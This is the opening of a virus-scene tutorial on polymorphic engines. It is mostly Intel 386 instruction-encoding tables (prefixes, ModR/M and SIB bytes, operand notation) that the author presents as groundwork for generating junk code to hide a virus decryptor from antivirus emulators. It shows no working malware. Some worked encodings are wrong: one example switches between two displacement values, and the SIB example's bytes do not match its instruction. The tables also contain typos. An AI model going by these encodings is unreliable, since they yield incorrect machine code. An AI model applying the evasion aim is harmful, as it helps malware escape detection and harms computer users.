Polymorphism Tutorial Part II v1.0
Advanced Approach

by Lord Julus


--------------------------------[  foreword  ]--------------------------------

        Well,  people...  It's  been a full year since the first part of this
 article  was  released over the Net, and I can say it was pretty good at the
 time.  This made it appear in the second issue of the 29A viral magazine. At
 the  end  of  the  article  I  was  speaking, blindly at the time, about the
 changing   of  the  times  and  the  migration  towards  the  32bit  Windows
 programming.  Well, it seems that Windowz is here to stay, so we all have to
 agree...windows  32bit  programming  is  a  'must know'... Then the question
 comes... how much can we rely on old 16bit thingies? As for hardware access,
 the  answer  is  ZERO...  But  still, the microprocessor is almost the same.
 Everything  you  had in 16bit still exists in 32bit... So, can we use any of
 the old stuff? The answer here is 'a lot'!

        Right  after  the  beginning  of  the  win32 asm programs, the people
 started  to  ask whether or not a polymorphic engine can be done in win32 or
 not. Being a curious man I started to dig... As a matter of fact by the time
 you read this my first win32 poly engine is already finished.

        So, what do I intend to do in this article?

        If  you  read  my  first article, you must know: it stays on! In this
 article  I  will  not  give you more ideas on the decryptor itself (check my
 encryption  articles  for  that),  but  I  shall  concentrate on the garbage
 generator,  as the best way to hide the real decryptor. In the first article
 I  described  the  way some instructions are created... Here I will describe
 ALL  the instructions and I will try to present  an easy way to generate ALL
 of them. I shall give you some ideas that will make a code emulator in great
 difficulty...  At  the end I will explain the win32 things  you need to make
 in order to make a win32 poly engine... So, let's run!


--------------------------------[  credits  ]---------------------------------

        There  is always somebody in this bussiness who had such an influence
 on you that he deserves all the credits... Just a small piece of it:

          dark avenger, dark fiber, dark angel, darkman, mr.sandman,
        virtual daemon, qark, quantum, b0z0, wild worker, black baron,
        the unforgiven, murkry, shaitan, tatung, jacky qwerty, griyo,
      kid chaos, cicatrix, priest, liquid jesus, metabolis, nowhere man,
           opic, blue skull, hellfire, hellraiser, and many more...

                  a piece of my knowledge is right there...

                  A special thanx to the entire SLAM group!


----------------------------[  legal disclaimer  ]----------------------------

        The following document is a study based on information made public by
 Intel(c).  The information revealed here is not intended to harm anybody and
 the  author cannot be held responsible for it's use that led to data loss or
 damage.  This  article  represent  a comprehesive explanation of the methods
 behind   the   opcode  generation  inside  the  Intel  or  Intel  compatible
 microprocessors.


-------------------------------[  the source  ]-------------------------------


        The  biggest  part  of this tutorial is based on Intel's original 386
 documentation,   and   more   specific   the  part  that  speaks  about  the
 microprocessor's  instructions.  I  need  to  talk  about  this  so  you can
 understand and see how easy is it to generate whatever instruction you want.
 I  will  also  not bother to quote what I pasted from Intel's manual, as you
 will  surely recognize the famous opcode tables... The thing is, do you know
 how to use them, or, actually, do you know how to optimize their use? If you
 do, please tell me...;-)) Because, as far as I am concerned, I couldn't find
 anything better than the things you are gonna read right away...
        Anyway,  the  article  is  divided  in  2  big parts: the instruction
 description and the specific poly engine techniques.


                            .-------------------.
----------------------------|       PART I      |-----------------------------
                            '-------------------'

----------------------------[  instruction set  ]-----------------------------



<------------------------------------ Operand-Size and Address-Size Attributes


        When  executing  an  instruction,  the 80386 can address memory using
 either  16  or  32-bit  addresses.  Consequently, each instruction that uses
 memory  addresses has associated with it an address-size attribute of either
 16  or 32 bits. 16-bit addresses imply both the use of a 16-bit displacement
 in  the  instruction  and the generation of a 16-bit address offset (segment
 relative  address)  as  the  result  of  the  effective address calculation.
 32-bit  addresses  imply the use of a 32-bit displacement and the generation
 of  a  32-bit  address offset. Similarly, an instruction that accesses words
 (16  bits)  or doublewords (32 bits) has an operand-size attribute of either
 16 or 32 bits.

        The   attributes   are  determined  by  a  combination  of  defaults,
 instruction  prefixes,  and  (for  programs  executing  in  protected  mode)
 size-specification bits in segment descriptors.

        Programs  that  execute in real mode or virtual-8086 mode have 16-bit
 addresses and operands by default.

        The  internal  encoding  of  an instruction can include two byte-long
 prefixes:  the  address-size  prefix, 67H, and the operand-size prefix, 66H.
 These  prefixes  override the default segment attributes for the instruction
 that  follows.  The next table shows the effect of each possible combination
 of defaults and overrides.

        Instructions that use the stack implicitly (for example: POP EAX also
 have  a  stack  address-size attribute of either 16 or 32 bits. Instructions
 with  a  stack  address-size attribute of 16 use the 16-bit SP stack pointer
 register;  instructions  with  a stack address-size attribute of 32 bits use
 the 32-bit ESP register to form the address of the top of the stack.

    .-------------------------------------------------------------------.
    | Segment Default D = ...  |   0    0    0    0    1    1    1    1 |
    | Operand-Size Prefix 66H  |   N    N    Y    Y    N    N    Y    Y |
    | Address-Size Prefix 67H  |   N    Y    N    Y    N    Y    N    Y |
    |--------------------------+----------------------------------------|
    | Effective Operand Size   |  16   16   32   32   32   32   16   16 |
    | Effective Address Size   |  16   32   16   32   32   16   32   16 |
    |-------------------------------------------------------------------|
    | Y = Yes, this instruction prefix is present                       |
    | N = No, this instruction prefix is not present                    |
    '-------------------------------------------------------------------'

        So,  basically,  one  instruction has an operand and/or an address to
 work  with. We can have all kinds of combinations of 16 and 32 bit and also,
 we  can  override the defaults. The override prefix can appear no matter how
 many times, but only the last one will do the job.


<---------------------------------------------------------- Instruction Format

        All  instruction  encodings  are  subsets  of the general instruction
 format   shown   in  the  next  figure.  Instructions  consist  of  optional
 instruction  prefixes,  one or two primary opcode bytes, possibly an address
 specifier consisting of the ModR/M byte and the SIB (Scale Index Base) byte,
 a displacement, if required, and an immediate data field, if required.

        Smaller  encoding  fields can be defined within the primary opcode or
 opcodes. These fields define the direction of the operation, the size of the
 displacements,  the  register  encoding,  or sign extension; encoding fields
 vary depending on the class of operation.

        Most  instructions  that  can  refer  to an operand in memory have an
 addressing form byte following the primary opcode byte(s). This byte, called
 the ModR/M byte, specifies the address form to be used. Certain encodings of
 the  ModR/M  byte  indicate  a  second addressing byte, the SIB (Scale Index
 Base)  byte,  which follows the ModR/M byte and is required to fully specify
 the addressing form.

        Addressing  forms  can  include  a displacement immediately following
 either  the  ModR/M or SIB byte. If a displacement is present, it can be 8-,
 16- or 32-bits.

        If  the  instruction  specifies  an  immediate operand, the immediate
 operand  always  follows  any  displacement bytes. The immediate operand, if
 specified, is always the last field of the instruction.

 The following are the allowable instruction prefix codes:

   F3H    REP prefix (used only with string instructions)
   F3H    REPE/REPZ prefix (used only with string instructions
   F2H    REPNE/REPNZ prefix (used only with string instructions)
   F0H    LOCK prefix

 The following are the segment override prefixes:

   2EH    CS segment override prefix
   36H    SS segment override prefix
   3EH    DS segment override prefix
   26H    ES segment override prefix
   64H    FS segment override prefix
   65H    GS segment override prefix
   66H    Operand-size override
   67H    Address-size override


      80386 Instruction Format

   P  .---------------------------------------------------------------.
   R  |  INSTRUCTION  |   ADDRESS-    |    OPERAND-   |   SEGMENT     |
   E  |    PREFIX     |  SIZE PREFIX  |  SIZE PREFIX  |   OVERRIDE    |
   F  |---------------------------------------------------------------|
   I  |     0 OR 1         0 OR 1           0 OR 1         0 OR 1     |
   X  |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -|
   E  |                        NUMBER OF BYTES                        |
   S  '---------------------------------------------------------------'

   R  .---------------------------------------------------------------.
   E  |  OPCODE  |  MODR/M   |  SIB  |   DISPLACEMENT   |  IMMEDIATE  |
   Q  |          |           |       |                  |             |
   U  |---------------------------------------------------------------|
   I  |  1 OR 2     0 OR 1    0 OR 1      0,1,2 OR 4       0,1,2 OR 4 |
   R  |- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -|
   E  |                        NUMBER OF BYTES                        |
   D  '---------------------------------------------------------------'

        This  being  said,  we  may  have  instructions with minimum one byte
 length and maximum 16 bytes length.


<-------------------------------------------------------- ModR/M and SIB Bytes

        The  ModR/M  and  SIB  bytes follow the opcode byte(s) in many of the
 80386 instructions. They contain the following information:

  *  The indexing type or register number to be used in the instruction
  *  The register to be used, or more information to select the instruction
  *  The base, index, and scale information

 The ModR/M byte contains three fields of information:

  *  The mod field, which occupies the two most significant bits of the
     byte, combines with the r/m field to form 32 possible values: eight
     registers and 24 indexing modes

  *  The reg field, which occupies the next three bits following the mod
     field, specifies either a register number or three more bits of opcode
     information. The meaning of the reg field is determined by the first
     (opcode) byte of the instruction.

  *  The r/m field, which occupies the three least significant bits of the
     byte, can specify a register as the location of an operand, or can form
     part of the addressing-mode encoding in combination with the field as
     described above

        The  based  indexed  and  scaled  indexed  forms of 32-bit addressing
 require  the  SIB byte. The presence of the SIB byte is indicated by certain
 encodings  of  the  ModR/M  byte.  The  SIB byte then includes the following
 fields:

  *  The ss field, which occupies the two most significant bits of the
     byte, specifies the scale factor

  *  The index field, which occupies the next three bits following the ss
     field and specifies the register number of the index register

  *  The base field, which occupies the three least significant bits of the
     byte, specifies the register number of the base register


  ModR/M and SIB Byte Formats

                                 MODR/M BYTE

                     7    6    5    4    3    2    1    0
                    .------------------------------------.
                    |  MOD   | REG/OPCODE  |     R/M     |
                    '------------------------------------'

                          SIB (SCALE INDEX BASE) BYTE

                     7    6    5    4    3    2    1    0
                    .------------------------------------.
                    |   SS   |    INDEX    |    BASE     |
                    '------------------------------------'


        Let's  get  down to real bussiness now. Here below you have 2 tables.
 Using  these  tables  will allow you to create ANY kind of instructions. The
 first row gives you the used register. If you have 8 bit addressing you will
 use  the  8  bit  registers,  with 16 bit addressing you will use the 16 bit
 registers,  and  32  bit with 32 bit registers. Actualy not you, you use the
 same  codification,  but  it's the processor that interprets it accordingly.
 Following  this  you  have  4  parts  with  8  possible codification for the
 addressing  mode.  The  first two number columns contain the MOD and the R/M
 field  and  after  that the hexadecimal encoding you would obtain if next to
 the  MOD  and R/M fields you would put the REG field. As normal as possible,
 this will create a matrix of 8 types * 4 parts * 8 registers = 256 variants.

 16-Bit Addressing Forms with the ModR/M Byte

 .--------------------------------------------------------------------------.
 | r8(/r)                   | AL  | CL  | DL  | BL  | AH  | CH  | DH  | BH  |
 | r16(/r)                  | AX  | CX  | DX  | BX  | SP  | BP  | SI  | DI  |
 | r32(/r)                  | EAX | ECX | EDX | EBX | ESP | EBP | ESI | EDI |
 | /digit (Opcode)          | 0   | 1   | 2   | 3   | 4   | 5   | 6   | 7   |
 | REG =                    | 000 | 001 | 010 | 011 | 100 | 101 | 110 | 111 |
 |--------------------------+-----------------------------------------------|
 |                | Mod R/M |         ModR/M Values in Hexadecimal          |
 |----------------+---------+-----------------------------------------------|
 | [BX + SI]      | 00  000 | 00  | 08  | 10  | 18  | 20  | 28  | 30  | 38  |
 | [BX + DI]      | 00  001 | 01  | 09  | 11  | 19  | 21  | 29  | 31  | 39  |
 | [BP + SI]      | 00  010 | 02  | 0A  | 12  | 1A  | 22  | 2A  | 32  | 3A  |
 | [BP + DI]      | 00  011 | 03  | 0B  | 13  | 1B  | 23  | 2B  | 33  | 3B  |
 | [SI]           | 00  100 | 04  | 0C  | 14  | 1C  | 24  | 2C  | 34  | 3C  |
 | [DI]           | 00  101 | 05  | 0D  | 15  | 1D  | 25  | 2D  | 35  | 3D  |
 | disp16         | 00  110 | 06  | 0E  | 16  | 1E  | 26  | 2E  | 36  | 3E  |
 | [BX]           | 00  111 | 07  | 0F  | 17  | 1F  | 27  | 2F  | 37  | 3F  |
 |----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
 | [BX+SI]+disp8  | 01  000 | 40  | 48  | 50  | 58  | 60  | 68  | 70  | 78  |
 | [BX+DI]+disp8  | 01  001 | 41  | 49  | 51  | 59  | 61  | 69  | 71  | 79  |
 | [BP+SI]+disp8  | 01  010 | 42  | 4A  | 52  | 5A  | 62  | 6A  | 72  | 7A  |
 | [BP+DI]+disp8  | 01  011 | 43  | 4B  | 53  | 5B  | 63  | 6B  | 73  | 7B  |
 | [SI]+disp8     | 01  100 | 44  | 4C  | 54  | 5C  | 64  | 6C  | 74  | 7C  |
 | [DI]+disp8     | 01  101 | 45  | 4D  | 55  | 5D  | 65  | 6D  | 75  | 7D  |
 | [BP]+disp8     | 01  110 | 46  | 4E  | 56  | 5E  | 66  | 6E  | 76  | 7E  |
 | [BX]+disp8     | 01  111 | 47  | 4F  | 57  | 5F  | 67  | 6F  | 77  | 7F  |
 |----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
 | [BX+SI]+disp16 | 10  000 | 80  | 88  | 90  | 98  | A0  | A8  | B0  | B8  |
 | [BX+DI]+disp16 | 10  001 | 81  | 89  | 91  | 99  | A1  | A9  | B1  | B9  |
 | [BP+SI]+disp16 | 10  010 | 82  | 8A  | 92  | 9A  | A2  | AA  | B2  | BA  |
 | [BP+DI]+disp16 | 10  011 | 83  | 8B  | 93  | 9B  | A3  | AB  | B3  | BB  |
 | [SI]+disp16    | 10  100 | 84  | 8C  | 94  | 9C  | A4  | AC  | B4  | BC  |
 | [DI]+disp16    | 10  101 | 85  | 8D  | 95  | 9D  | A5  | AD  | B5  | BD  |
 | [BP]+disp16    | 10  110 | 86  | 8E  | 96  | 9E  | A6  | AE  | B6  | BE  |
 | [BX]+disp16    | 10  111 | 87  | 8F  | 97  | 9F  | A7  | AF  | B7  | BF  |
 |----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
 | EAX/AX/AL      | 11  000 | C0  | C8  | D0  | D8  | E0  | E8  | F0  | F8  |
 | ECX/CX/CL      | 11  001 | C1  | C9  | D1  | D9  | E1  | E9  | F1  | F9  |
 | EDX/DX/DL      | 11  010 | C2  | CA  | D2  | DA  | E2  | EA  | F2  | FA  |
 | EBX/BX/BL      | 11  011 | C3  | CB  | D3  | DB  | E3  | EB  | F3  | FB  |
 | ESP/SP/AH      | 11  100 | C4  | CC  | D4  | DC  | E4  | EC  | F4  | FC  |
 | EBP/BP/CH      | 11  101 | C5  | CD  | D5  | DD  | E5  | ED  | F5  | FD  |
 | ESI/SI/DH      | 11  110 | C6  | CE  | D6  | DE  | E6  | EE  | F6  | FE  |
 | EDI/DI/BH      | 11  111 | C7  | CF  | D7  | DF  | E7  | EF  | F7  | FF  |
 '--------------------------------------------------------------------------'

        Ok, let's see some examples:

        MOV BX, [BX+DI+1234h]

        1111h tells us we have a disp16, so we will look in the MOD=10 part;
        [BX+DI] puts us on the second row of that part;
        BX makes us look on the fourth REG row;
        MOV opcode is 8B (you will learn this later)

        this all coming to: 99h

        So, MOV BX, [BX+DI+1111h] will be encoded like this:

        8Bh 99h 34h 12h,

        1234h  immediately  follows  the  ModR/M  byte, as it is an immediate
 value.

 ---------------------------------------------------------------------------
 NOTES:  disp8 denotes an 8-bit displacement following the ModR/M byte, to be
 sign-extended  and  added to the index. disp16 denotes a 16-bit displacement
 following  the  ModR/M  byte,  to  be  added  to  the index. Default segment
 register  is  SS  for  the effective addresses containing a BP index, DS for
 other effective addresses.
 ---------------------------------------------------------------------------


        Let's take a peak now to 32 bit addressing codes:

 32-Bit Addressing Forms with the ModR/M Byte

 .--------------------------------------------------------------------------.
 | r8(/r)                   | AL  | CL  | DL  | BL  | AH  | CH  | DH  | BH  |
 | r16(/r)                  | AX  | CX  | DX  | BX  | SP  | BP  | SI  | DI  |
 | r32(/r)                  | EAX | ECX | EDX | EBX | ESP | EBP | ESI | EDI |
 | /digit (Opcode)          | 0   | 1   | 2   | 3   | 4   | 5   | 6   | 7   |
 | REG =                    | 000 | 001 | 010 | 011 | 100 | 101 | 110 | 111 |
 |--------------------------+-----------------------------------------------|
 |                | Mod R/M |          ModR/M Values in Hexadecimal         |
 |----------------+---------+-----------------------------------------------|
 | [EAX]          | 00  000 | 00  | 08  | 10  | 18  | 20  | 28  | 30  | 38  |
 | [ECX]          | 00  001 | 01  | 09  | 11  | 19  | 21  | 29  | 31  | 39  |
 | [EDX]          | 00  010 | 02  | 0A  | 12  | 1A  | 22  | 2A  | 32  | 3A  |
 | [EBX]          | 00  011 | 03  | 0B  | 13  | 1B  | 23  | 2B  | 33  | 3B  |
 | [--] [--]      | 00  100 | 04  | 0C  | 14  | 1C  | 24  | 2C  | 34  | 3C  |
 | disp32         | 00  101 | 05  | 0D  | 15  | 1D  | 25  | 2D  | 35  | 3D  |
 | [ESI]          | 00  110 | 06  | 0E  | 16  | 1E  | 26  | 2E  | 36  | 3E  |
 | [EDI]          | 00  111 | 07  | 0F  | 17  | 1F  | 27  | 2F  | 37  | 3F  |
 |----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
 | disp8[EAX]     | 01  000 | 40  | 48  | 50  | 58  | 60  | 68  | 70  | 78  |
 | disp8[ECX]     | 01  001 | 41  | 49  | 51  | 59  | 61  | 69  | 71  | 79  |
 | disp8[EDX]     | 01  010 | 42  | 4A  | 52  | 5A  | 62  | 6A  | 72  | 7A  |
 | disp8[EPX];    | 01  011 | 43  | 4B  | 53  | 5B  | 63  | 6B  | 73  | 7B  |
 | disp8[--] [--] | 01  100 | 44  | 4C  | 54  | 5C  | 64  | 6C  | 74  | 7C  |
 | disp8[ebp]     | 01  101 | 45  | 4D  | 55  | 5D  | 65  | 6D  | 75  | 7D  |
 | disp8[ESI]     | 01  110 | 46  | 4E  | 56  | 5E  | 66  | 6E  | 76  | 7E  |
 | disp8[EDI]     | 01  111 | 47  | 4F  | 57  | 5F  | 67  | 6F  | 77  | 7F  |
 |----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
 | disp32[EAX]    | 10  000 | 80  | 88  | 90  | 98  | A0  | A8  | B0  | B8  |
 | disp32[ECX]    | 10  001 | 81  | 89  | 91  | 99  | A1  | A9  | B1  | B9  |
 | disp32[EDX]    | 10  010 | 82  | 8A  | 92  | 9A  | A2  | AA  | B2  | BA  |
 | disp32[EBX]    | 10  011 | 83  | 8B  | 93  | 9B  | A3  | AB  | B3  | BB  |
 | disp32[--] [--]| 10  100 | 84  | 8C  | 94  | 9C  | A4  | AC  | B4  | BC  |
 | disp32[EBP]    | 10  101 | 85  | 8D  | 95  | 9D  | A5  | AD  | B5  | BD  |
 | disp32[ESI]    | 10  110 | 86  | 8E  | 96  | 9E  | A6  | AE  | B6  | BE  |
 | disp32[EDI]    | 10  111 | 87  | 8F  | 97  | 9F  | A7  | AF  | B7  | BF  |
 |----------------+---------+-----+-----+-----+-----+-----+-----+-----+-----|
 | EAX/AX/AL      | 11  000 | C0  | C8  | D0  | D8  | E0  | E8  | F0  | F8  |
 | ECX/CX/CL      | 11  001 | C1  | C9  | D1  | D9  | E1  | E9  | F1  | F9  |
 | EDX/DX/DL      | 11  010 | C2  | CA  | D2  | DA  | E2  | EA  | F2  | FA  |
 | EBX/BX/BL      | 11  011 | C3  | CB  | D3  | DB  | E3  | EB  | F3  | FB  |
 | ESP/SP/AH      | 11  100 | C4  | CC  | D4  | DC  | E4  | EC  | F4  | FC  |
 | EBP/BP/CH      | 11  101 | C5  | CD  | D5  | DD  | E5  | ED  | F5  | FD  |
 | ESI/SI/DH      | 11  110 | C6  | CE  | D6  | DE  | E6  | EE  | F6  | FE  |
 | EDI/DI/BH      | 11  111 | C7  | CF  | D7  | DF  | E7  | EF  | F7  | FF  |
 '--------------------------------------------------------------------------'

        Let's take an example:

        MOV EBX, [EBP+12345678h]

        12345678h = disp32 -> part 3
        EBP+disp32         -> line 6 of part 3
        EBX                -> REG row 4

        ==> instruction codification = 8Bh 9Dh 78h 56h 34h 12h

 ---------------------------------------------------------------------------
 NOTES: [--] [--] means a SIB follows the ModR/M byte. disp8 denotes an 8-bit
 displacement  following  the  SIB byte, to be sign-extended and added to the
 index. disp32 denotes a 32-bit displacement following the ModR/M byte, to be
 added to the index.
 ---------------------------------------------------------------------------


 32-Bit Addressing Forms with the SIB Byte

 .--------------------------------------------------------------------------.
 |    r32                   | EAX | ECX | EDX | EBX | ESP | [*] | ESI | EDI |
 |    Base =                | 0   | 1   | 2   | 3   | 4   | 5   | 6   | 7   |
 |    Base =                | 000 | 001 | 010 | 011 | 100 | 101 | 110 | 111 |
 |--------------------------+-----------------------------------------------|
 |             |  SS Index  |         ModR/M Values in Hexadecimal          |
 |-------------+------------+-----------------------------------------------|
 | [EAX]       |   00  000  | 00  | 01  | 02  | 03  | 04  | 05  | 06  | 07  |
 | [ECX]       |   00  001  | 08  | 09  | 0A  | 0B  | 0C  | 0D  | 0E  | 0F  |
 | [EDX]       |   00  010  | 10  | 11  | 12  | 13  | 14  | 15  | 16  | 17  |
 | [EBX]       |   00  011  | 18  | 19  | 1A  | 1B  | 1C  | 1D  | 1E  | 1F  |
 | none        |   00  100  | 20  | 21  | 22  | 23  | 24  | 25  | 26  | 27  |
 | [EBP]       |   00  101  | 28  | 29  | 2A  | 2B  | 2C  | 2D  | 2E  | 2F  |
 | [ESI]       |   00  110  | 30  | 31  | 32  | 33  | 34  | 35  | 36  | 37  |
 | [EDI]       |   00  111  | 38  | 39  | 3A  | 3B  | 3C  | 3D  | 3E  | 3F  |
 |-------------+------------+-----+-----+-----+-----+-----+-----+-----+-----|
 | [EAX*2]     |   01  000  | 40  | 41  | 42  | 43  | 44  | 45  | 46  | 47  |
 | [ECX*2]     |   01  001  | 48  | 49  | 4A  | 4B  | 4C  | 4D  | 4E  | 4F  |
 | [ECX*2]     |   01  010  | 50  | 51  | 52  | 53  | 54  | 55  | 56  | 57  |
 | [EBX*2]     |   01  011  | 58  | 59  | 5A  | 5B  | 5C  | 5D  | 5E  | 5F  |
 | none        |   01  100  | 60  | 61  | 62  | 63  | 64  | 65  | 66  | 67  |
 | [EBP*2]     |   01  101  | 68  | 69  | 6A  | 6B  | 6C  | 6D  | 6E  | 6F  |
 | [ESI*2]     |   01  110  | 70  | 71  | 72  | 73  | 74  | 75  | 76  | 77  |
 | [EDI*2]     |   01  111  | 78  | 79  | 7A  | 7B  | 7C  | 7D  | 7E  | 7F  |
 |-------------+------------+-----+-----+-----+-----+-----+-----+-----+-----|
 | [EAX*4]     |   10  000  | 80  | 81  | 82  | 83  | 84  | 85  | 86  | 87  |
 | [ECX*4]     |   10  001  | 88  | 89  | 8A  | 8B  | 8C  | 8D  | 8E  | 8F  |
 | [EDX*4]     |   10  010  | 90  | 91  | 92  | 93  | 94  | 95  | 96  | 97  |
 | [EBX*4]     |   10  011  | 98  | 89  | 9A  | 9B  | 9C  | 9D  | 9E  | 9F  |
 | none        |   10  100  | A0  | A1  | A2  | A3  | A4  | A5  | A6  | A7  |
 | [EBP*4]     |   10  101  | A8  | A9  | AA  | AB  | AC  | AD  | AE  | AF  |
 | [ESI*4]     |   10  110  | B0  | B1  | B2  | B3  | B4  | B5  | B6  | B7  |
 | [EDI*4]     |   10  111  | B8  | B9  | BA  | BB  | BC  | BD  | BE  | BF  |
 |-------------+------------+-----+-----+-----+-----+-----+-----+-----+-----|
 | [EAX*8]     |   11  000  | C0  | C1  | C2  | C3  | C4  | C5  | C6  | C7  |
 | [ECX*8]     |   11  001  | C8  | C9  | CA  | CB  | CC  | CD  | CE  | CF  |
 | [EDX*8]     |   11  010  | D0  | D1  | D2  | D3  | D4  | D5  | D6  | D7  |
 | [EBX*8]     |   11  011  | D8  | D9  | DA  | DB  | DC  | DD  | DE  | DF  |
 | none        |   11  100  | E0  | E1  | E2  | E3  | E4  | E5  | E6  | E7  |
 | [EBP*8]     |   11  101  | E8  | E9  | EA  | EB  | EC  | ED  | EE  | EF  |
 | [ESI*8]     |   11  110  | F0  | F1  | F2  | F3  | F4  | F5  | F6  | F7  |
 | [EDI*8]     |   11  111  | F8  | F9  | FA  | FB  | FC  | FD  | FE  | FF  |
 '--------------------------------------------------------------------------'


        Example:

                MOV ECX, [EBX*4 + EAX + 12345678h]

                [EBX*4] and ECX gives us 89h (from the SIB table)
                disp32[EAX]     gives us 80h (from 32bit addressing table)

       So, we encode: 8Bh 80h 89h 78h 56h 34h 12h
                      |   |   |   |   |   |   |
                      |   |   |   '----------------> immediate value
                      |   |   '--------------------> SIB
                      |   '------------------------> ModR/M byte
                      '----------------------------> Opcode

        NOTE: You should notice that immediate values are stored in inverse
 mode, first less signifiant word, then most signifiant word.

 ---------------------------------------------------------------------------
 NOTES:  [*]  means a disp32 with no base if MOD is 00, [ESP] otherwise. This
 provides the following addressing modes:

              disp32[index]      (MOD=00)
              disp8[EBP][index]  (MOD=01)
              disp32[EBP][index] (MOD=10)


        It  is  necesary  that  you  understand these tables, as they will be
 very   necesarry   when  you  will  create  the  garbage  between  the  real
 instructions.  Actually,  you  don't even need to define any table, but just
 know  how  they  are made up and only with a few calculations you can figure
 out  what  Mod/Rm  and SIB to use when you want to reach a certain result...
 It's easy, the tables and examples speak for themselves.


<---------------------------------------------------------------------- Opcode

        In  the  Opcode  Maps  that  will  follow  soon,  you  will find some
 abbreviations  that  you will probably find confusing... In order to lift up
 the confusion, firstly I will quote the original Intel(c) abbreviations:

        The  "Opcode" column gives the complete object code produced for each
 form  of  the instruction. When possible, the codes are given as hexadecimal
 bytes,  in  the  same  order  in which they appear in memory. Definitions of
 entries other than hexadecimal bytes are as follows:

        /digit:  (digit is between 0 and 7) indicates that the ModR/M byte of
 the  instruction  uses  only  the  r/m (register or memory) operand. The reg
 field  contains  the  digit  that provides an extension to the instruction's
 opcode.

        /r: indicates that the ModR/M byte of the instruction contains both a
 register operand and an r/m operand.

        cb,  cw,  cd,  cp:  a 1-byte (cb), 2-byte (cw), 4-byte (cd) or 6-byte
 (cp)  value  following  the opcode that is used to specify a code offset and
 possibly a new value for the code segment register.

        ib,  iw,  id:  a  1-byte  (ib), 2-byte (iw), or 4-byte (id) immediate
 operand  to  the  instruction  that  follows  the  opcode,  ModR/M  bytes or
 scale-indexing  bytes.  The  opcode  determines  if  the operand is a signed
 value. All words and doublewords are given with the low-order byte first.

        +rb,  +rw,  +rd:  a  register  code,  from  0 through 7, added to the
 hexadecimal  byte given at the left of the plus sign to form a single opcode
 byte. The codes are:

                         rb         rw         rd
                       AL = 0     AX = 0     EAX = 0
                       CL = 1     CX = 1     ECX = 1
                       DL = 2     DX = 2     EDX = 2
                       BL = 3     BX = 3     EBX = 3
                       AH = 4     SP = 4     ESP = 4
                       CH = 5     BP = 5     EBP = 5
                       DH = 6     SI = 6     ESI = 6
                       BH = 7     DI = 7     EDI = 7


<----------------------------------------------------------------- Instruction

        The   "Instruction"  column  gives  the  syntax  of  the  instruction
 statement  as  it would appear in an ASM386 program. The following is a list
 of the symbols used to represent operands in the instruction statements:

        rel8:  a  relative address in the range from 128 bytes before the end
 of the instruction to 127 bytes after the end of the instruction.

        rel16,  rel32: a relative address within the same code segment as the
 instruction  assembled.  rel16  applies to instructions with an operand-size
 attribute  of  16  bits;  rel32 applies to instructions with an operand-size
 attribute of 32 bits.

        ptr16:16,  ptr16:32:  a  FAR  pointer,  typically  in  a code segment
 different  from  that  of the instruction. The notation 16:16 indicates that
 the  value of the pointer has two parts. The value to the right of the colon
 is  a  16-bit  selector or value destined for the code segment register. The
 value  to the left corresponds to the offset within the destination segment.
 ptr16:16  is  used when the instruction's operand-size attribute is 16 bits;
 ptr16:32 is used with the 32-bit attribute.

        r8: one of the byte registers AL, CL, DL, BL, AH, CH, DH, or BH.

        r16: one of the word registers AX, CX, DX, BX, SP, BP, SI, or DI.

        r32:  one  of  the doubleword registers EAX, ECX, EDX, EBX, ESP, EBP,
 ESI, or EDI.

        imm8:  an  immediate byte value. imm8 is a signed number between -128
 and  +127  inclusive. For instructions in which imm8 is combined with a word
 or  doubleword  operand, the immediate value is sign-extended to form a word
 or  doubleword. The upper byte of the word is filled with the topmost bit of
 the immediate value.

        imm16:   an   immediate   word  value  used  for  instructions  whose
 operand-size  attribute  is  16  bits.  This  is a number between -32768 and
 +32767 inclusive.

        imm32:  an  immediate  doubleword  value  used for instructions whose
 operand-size  attribute  is  32-bits.  It allows the use of a number between
 +2147483647 and -2147483648.

        r/m8:  a  one-byte  operand  that  is  either  the contents of a byte
 register (AL, BL, CL, DL, AH, BH, CH, DH), or a byte from memory.

        r/m16:  a word register or memory operand used for instructions whose
 operand-size  attribute  is 16 bits. The word registers are: AX, BX, CX, DX,
 SP,  BP, SI, DI. The contents of memory are found at the address provided by
 the effective address computation.

        r/m32:  a doubleword register or memory operand used for instructions
 whose  operand-size attribute is 32-bits. The doubleword registers are: EAX,
 EBX,  ECX,  EDX, ESP, EBP, ESI, EDI. The contents of memory are found at the
 address provided by the effective address computation.

        m8:  a  memory  byte addressed by DS:SI or ES:DI (used only by string
 instructions).

        m16:  a  memory word addressed by DS:SI or ES:DI (used only by string
 instructions).

        m32:  a  memory  doubleword addressed by DS:SI or ES:DI (used only by
 string instructions).

        m16:16, M16:32: a memory operand containing a far pointer composed of
 two  numbers.  The  number  to  the  left  of  the  colon corresponds to the
 pointer's  segment  selector.  The  number  to  the right corresponds to its
 offset.

        m16  &  32,  m16  & 16, m32 & 32: a memory operand consisting of data
 item  pairs  whose sizes are indicated on the left and the right side of the
 ampersand.  All  memory  addressing modes are allowed. m16 & 16 and m32 & 32
 operands  are used by the BOUND instruction to provide an operand containing
 an  upper  and  lower bounds for array indices. m16 & 32 is used by LIDT and
 LGDT  to provide a word with which to load the limit field, and a doubleword
 with  which to load the base field of the corresponding Global and Interrupt
 Descriptor Table Registers.

        moffs8, moffs16, moffs32: (memory offset) a simple memory variable of
 type  BYTE, WORD, or DWORD used by some variants of the MOV instruction. The
 actual  address is given by a simple offset relative to the segment base. No
 ModR/M  byte  is  used  in  the  instruction.  The  number  shown with moffs
 indicates its size, which is determined by the address-size attribute of the
 instruction.

        Sreg:  a  segment  register. The segment register bit assignments are
 ES=0, CS=1, SS=2, DS=3, FS=4, and GS=5.


<-----------------------------------------------------------------  Opcode Map

        The next three tables represent the original Intel codification for
 the 80386 instruction set, formated by me so it can fit the page. You will
 see the following tables:

        1. The One-byte Opcode table. This is a 16*16 table. The row followed
 by the column gives the opcode, like this:

               0         1         2         3         4
           .-----------------------------------------------........
           |                            ADD
          0|-----------------------------------------------........
           | Eb,Gb  | Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  AL,Ib
           |-----------------------------------------------........
           |                                               :
           :                                               :

      03h means ADD Gv,Ev
      00h means ADD Eb,Gb

